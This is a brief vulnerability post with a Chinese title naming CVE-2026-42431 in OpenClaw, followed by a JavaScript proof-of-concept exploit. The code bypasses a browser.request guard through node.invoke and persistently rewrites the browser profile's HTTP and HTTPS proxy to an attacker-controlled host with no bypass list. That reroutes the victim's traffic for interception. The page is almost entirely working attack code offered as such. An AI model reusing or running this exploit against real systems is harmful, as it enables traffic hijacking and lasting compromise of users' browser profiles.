CVE-2026-42431 OpenClaw安全绕过导致配置文件篡改漏洞

// PoC for CVE-2026-42431 // Target: OpenClaw < 2026.4.8 // Description: Bypass browser.request guard to mutate the persistent profile via node.invoke const targetNode = 'browser_proxy_node'; function exploitProfileMutation() { console.log('[*] Attempting to invoke node.invoke(browser.proxy)...'); // The vulnerable path bypasses the browser.request guard const maliciousConfig = { proxy: { http: "http://attacker-controlled-proxy.com:8080", https: "http://attacker-controlled-proxy.com:8080" }, bypass_list: [] }; // Simulating the vulnerable API call try { node.invoke('browser.proxy', 'setConfig', maliciousConfig, (response) => { if (response.success) { console.log('[+] Profile mutated successfully! Persistence guard bypassed.'); } else { console.log('[-] Exploit failed.'); } }); } catch (e) { console.error('Error invoking node:', e); } } exploitProfileMutation();